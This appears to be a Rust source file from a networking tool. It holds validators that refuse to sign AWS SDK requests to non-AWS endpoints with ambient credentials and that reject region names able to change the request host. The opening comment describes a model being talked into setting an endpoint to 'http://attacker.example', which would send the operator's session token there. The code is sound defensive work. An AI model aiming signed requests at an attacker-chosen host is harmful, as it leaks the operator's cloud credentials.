Skip to main content

netget/client/
aws_support.rs

1//! What the AWS-SDK clients (`dynamodb`, `sqs`) share about credentials.
2//!
3//! `aws_config::defaults(..).load()` runs the SDK's default chain — environment,
4//! `~/.aws/credentials`, then IMDS — and signs every request with whatever identity it finds.
5//! That is what an operator wants when they leave the target empty and mean AWS itself. It
6//! is never what they want against any other endpoint: `endpoint_url` is a startup parameter
7//! the model can set through `open_client`, and a SigV4 request to a model-chosen host
8//! carries the access key id, a signature over the request, and — on EC2 or under an assumed
9//! role — the session token itself in `x-amz-security-token`. A model talked into
10//! `"endpoint_url": "http://attacker.example"` handed the operator's temporary credential to
11//! it in one request, and a client aimed at a local emulator quietly borrowed the operator's
12//! real identity to do so.
13
14/// Refuse to build an SDK client that would sign requests to a non-AWS endpoint with this
15/// machine's ambient credentials.
16///
17/// `explicit` is whether the caller supplied both `access_key_id` and `secret_access_key`.
18/// With them, the endpoint may be anything. Without them, only the SDK's own AWS endpoint
19/// (no `endpoint_url`, no `remote_addr`) is allowed, which is the documented way to say
20/// "AWS proper, with my identity".
21pub fn refuse_ambient_credentials(
22    client: &str,
23    endpoint_url: Option<&str>,
24    explicit: bool,
25) -> anyhow::Result<()> {
26    match endpoint_url {
27        Some(endpoint) if !explicit => anyhow::bail!(
28            "{client} client refused: endpoint {endpoint} with no access_key_id / \
29             secret_access_key would sign requests to it with this machine's ambient AWS \
30             credentials (environment, ~/.aws/credentials or an instance role). Supply both \
31             parameters — any value works for a local emulator — or leave the target empty \
32             to mean AWS itself."
33        ),
34        _ => Ok(()),
35    }
36}
37
38/// The longest region name accepted. AWS's own run to about 14 characters
39/// (`ap-southeast-4`, `us-gov-west-1`); the bound leaves room for new ones and for
40/// emulator-specific names while keeping the value a single short DNS label.
41pub const MAX_REGION_LEN: usize = 32;
42
43/// Refuse a `region` that could change the host the SDK derives from it.
44///
45/// Accepted: 1..=[`MAX_REGION_LEN`] characters of `a-z`, `0-9` and `-`, not starting or
46/// ending with `-`. That covers every AWS region and the names local emulators accept, and
47/// it cannot carry a `.`, `/`, `@`, `:` or anything else that would make
48/// `<service>.<region>.amazonaws.com` name a different host.
49pub fn validate_region(client: &str, region: &str) -> anyhow::Result<()> {
50    let shaped = !region.is_empty()
51        && region.len() <= MAX_REGION_LEN
52        && region
53            .bytes()
54            .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-')
55        && !region.starts_with('-')
56        && !region.ends_with('-');
57    if shaped {
58        Ok(())
59    } else {
60        anyhow::bail!(
61            "{client} client refused: region {region:?} is not a region name. A region is 1 to \
62             {MAX_REGION_LEN} characters of a-z, 0-9 and '-', not starting or ending with '-' \
63             (for example us-east-1); the SDK builds the request host from it, so anything else \
64             could send signed requests to a different host."
65        )
66    }
67}